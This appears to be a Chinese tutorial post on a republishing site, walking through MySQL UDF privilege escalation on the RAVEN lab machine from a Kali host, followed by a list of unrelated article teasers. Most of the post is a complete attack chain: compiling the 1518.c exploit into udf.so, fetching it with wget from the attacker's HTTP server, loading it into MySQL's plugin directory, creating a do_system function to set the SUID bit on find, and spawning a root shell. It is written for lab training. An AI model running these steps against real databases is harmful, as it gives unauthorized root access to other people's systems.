UDF提权(linux)

news2025/1/12 19:53:51

实验环境:

RAVEN靶场:链接:百度网盘 请输入提取码

提取码:g6oz

攻击机:kali 2023.3    IP:192.168.126.142

关于UDF提权,需要满足的条件是

1.数据库管理员权限运行
#如果权限过低,无法执行系统命令,无法提权
2.数据库的版本信息不高于 5.5.6

查看满足条件

1》show global variables like '%secure_file_priv%';
或 show variables like '%secure%';
#这里需要是空值或者是plugin所在的目录,不能是null值
#secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
#secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
#secure_file_priv 的值没有具体值时,表示不对  mysqld 的导入|导出做限制,此时可提权
2》show variables like '%plugin%';
查看插件的位置,将动态连接文件导入到此目录

实操:

1.查询udf可利用的c程序,将1518.c保存到当前目录

searchsploit -m 1518.c

2.查看使用说明;大概就是将程序进行gcc编译,然后再登录mysql进行创建一个表,插入.so文件,创建自定义函数进行越权操作。

3.进行编译

gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc
-g  生成调试信息
-c  编译(二进制)
-shared 创建一个动态链接库,输入文件是源文件,汇编文件或者目标文件

-o  执行命令后的文件名
-lc  -l  库   -c  库名

python3 -m http.server

#用python开启http服务

4.将编译好的.so文件进行上传靶机,进行登录数据库

wget http://192.168.126.142:8000/udf.so

mysql -uroot -pR@v3nSecurity

show databases;

use mysql

5.查看udf提权的必要条件,看插件位置

show global variables like '%secure_file_priv%';

show variables like '%plugin%';

6.开始提权操作:

create table foo(line blob);

#创建一张临时表用来存放DLL/OS文件的16进制内容

insert into foo values(load_file('/tmp/udf.so'));

#插入udf.so文件(foo是占位符,没有任何意义)

select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';

#利用dumpfile函数把文件导出

create function do_system returns integer soname 'udf.so';

#创建自定义函数do_system,类型是integer,别名(soname)文件名字

select * from mysql.func;

#查询函数是否创建成功

select do_system('chmod u+s /usr/bin/find');

#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令, 0代表执行成功 。

exit

7.执行命令,成功提权。

touch udf

find udf -exec "/bin/sh" \;

find udf -exec "id" \;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/558173.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

安装docker compose

1.定义 Docker Compose 是一个用于定义和运行多容器 Docker 应用程序的工具。通过 Compose,您可以使用 YML 文件来配置应用程序需要的所有服务,然后使用一个命令来创建并启动所有服务。Compose 有三个主要步骤: - 使用 Dockerfile 定义应用…

简历里项目经历怎么写,没有项目经历怎么办?

在撰写简历时,项目经历是一个非常重要的部分,能够有效地展示个人的能力和经验。但是,如果你没有项目经历怎么办呢?以下是一些关于如何写简历项目经历的建议,以及如何克服没有项目经历的挑战。 一、如何写简历项目经历 …

史上最详细的RACI(责任分配矩阵)使用方法及实例详解

作为PMO和项目经理一定对于RACI责任分配矩阵不陌生,但是很少有人真正用起来,RACI是一个广泛应用于项目管理的模型,用于明确角色和责任。 在项目的不同阶段或任务中,RACI模型有助于划分和理解团队成员的责任。今天咱们就为大家详细…

R语言绘制山脊图(也叫峰峦图、山峦图)

山脊图也叫也叫峰峦图、山峦图,主要是通过展示一个相同的X轴数据,可以是时间序列、基因数据等,对应不同的Y轴数据,清晰的展示不同数据见变量的关系。今天我们通过R语言来演示山脊图。需要使用到ggridges包,需要提前安装…

Hive ---- 查询

Hive ---- 查询 1. 基础语法2. 基本查询(Select…From)1. 数据准备2. 全表和特定列查询3. 列别名4. Limit语句5. Where语句6. 关系运算函数7. 逻辑运算函数8. 聚合函数 3. 分组1. Group By语句2. Having语句 4. Join语句1. 等值Join2. 表的别名3. 内连接…

vue:el-table初始化表格选中项踩坑记录/element-ui表格

问题描述 首先,element-ui表格多选功能可以参考官网示例:表格数据多选;手动在表格中选取数据、通过监听selection-change获取选中项,实现起来非常顺利~ 但在保存了选项、重新加载表格时,希望将已选项“打勾”却完全没…

这篇文章告诉你excel批量翻译有什么方法

在商业或个人领域中,我们有时需要将大量文本翻译成不同语言,例如跨国企业需要在不同的国家和地区之间进行文件传输和协作,在旅行时我们需要阅读当地语言的信息或地图。如果我们手动操作的话,是非常耗时且容易出错的,所…

知识管理、文档管理两手抓,全靠它!

知识管理和文档管理是两个相互关联的概念,两者之间的关系非常密切。知识管理是指对组织内外的知识资源进行收集、整理、存储、共享和应用的过程,旨在提高组织的绩效和创新能力。而文档管理是指对组织内外的文档资源进行收集、整理、存储、共享和应用的过…

chatgpt赋能Python-python_heading__

Python heading()方法:提高网页的SEO效果 介绍 在网页开发过程中,SEO(搜索引擎优化)是一个重要的考虑因素。网页的排名和可见性对于用户的访问和广告收益非常重要。好的SEO可以大大提高网页的可见性和流量。因此,网页…

SolVES模型生态系统服务功能社会价值评估

查看原文>>>SolVES 模型生态系统服务功能社会价值评估(基于多源环境QGIS、PostgreSQL、ArcGIS、Maxent、R语言) 目录 第一章、理论基础与研究热点 第二章、SolVES 4.0 模型运行环境配置 第三章、SolVES 4.0 模型运行 第四章、数据获取与入…

【追梦之旅】— 堆的实际应用--TopK问题

【追梦之旅】— 堆的实际应用--TopK问题😎 前言🙌堆的TopK问题的现实栗子堆的TopK思路的应用场景堆的TopK思路的具体实现fscanf函数fprintf函数堆的TopK具体实现代码:前K个数据的巧妙设置运行结果截图: 总结撒花💞 &am…

chatgpt赋能Python-python_ip地址判断

Python IP地址判断 - 从入门到精通 如果您是一个开发人员并且经常需要处理网络相关的任务,那么您一定知道 IP 地址是什么。 IP 地址(Internet Protocol Address),是网络中用于标识设备的唯一标识符。 在本篇文章中,您…

chatgpt赋能Python-python_iloc

Python iLoc的使用方法及其在数据处理中的应用 Python是一种灵活的编程语言,可以在数据科学领域中广泛应用。在数据处理中,许多人都熟悉Pandas数据框架。本篇文章将介绍Pandas中的iloc方法,以及如何在数据处理中使用它。 iloc方法是什么? …

基于html+css的图展示87

准备项目 项目开发工具 Visual Studio Code 1.44.2 版本: 1.44.2 提交: ff915844119ce9485abfe8aa9076ec76b5300ddd 日期: 2020-04-16T16:36:23.138Z Electron: 7.1.11 Chrome: 78.0.3904.130 Node.js: 12.8.1 V8: 7.8.279.23-electron.0 OS: Windows_NT x64 10.0.19044 项目…

CryoEM - 冷冻电镜 CryoSPARC 单颗粒图像数据集构建

欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://blog.csdn.net/caroline_wendy/article/details/130822537 CryoSPARC 的 downsample 操作是一种用于减少数据集大小的技术,可以提高计算效率和内存使用率。downsample 操作的原理是将原始图像的分辨率降低…

SpringBoot是如何简化配置的

Spring Boot 如何简化配置? Spring Boot 是一个基于 Spring 框架的快速开发框架,它可以大大简化应用程序的配置过程。本文将介绍 Spring Boot 是如何简化配置的,并提供相关的代码示例。 一、自动化配置 Spring Boot 的自动化配置功能可以根…

C++【实现AVL树】

文章目录 一、AVL树的概念及性能二、AVL树结点的创建三、AVL树的插入四、四种旋转(1)LL-左单旋(2)RR-右单旋(3)LR-左右旋(4)RL-右左旋 五、判断AVL树六、测试结果七、源代码(1) AVL_…

低代码开发平台魔笔 X 浙江广电集团:“10天”成为行业最小创新单位!

客户背景概述 浙江广播电视集团(以下简称浙江台)是一家以广播电视为主业,兼营相关产业的综合媒体集团,是国内最具影响力的省级媒体之一。因新业务拓展需要,浙江台也需随之上线一套全新的媒资平台系统进行运营支撑,而新…

2023年湖北助理工程师个人申报怎么申请?

这是许多出入职场的人,比较关心的话题,想要申请一个助理工程师怎么办呢?助理职称好不好办?助理工程师职称个人怎么申请呢?助理工程师申需要什么材料呢?助理工程师申报有什么流程呢?甘建二现在教…

五、数据仓库详细介绍(建模)实践篇

1 数仓建模在数仓建设过程中的位置 这张截图源自之前从 0 到 1 建设数据仓库的经验总结,采用的是瀑布模式的展现方式,但实际操作中经常会使用螺旋迭代模式,因为很难有人能够一步到位的考虑清楚所有细节。 通过业务调研我们熟悉了相关业务过程…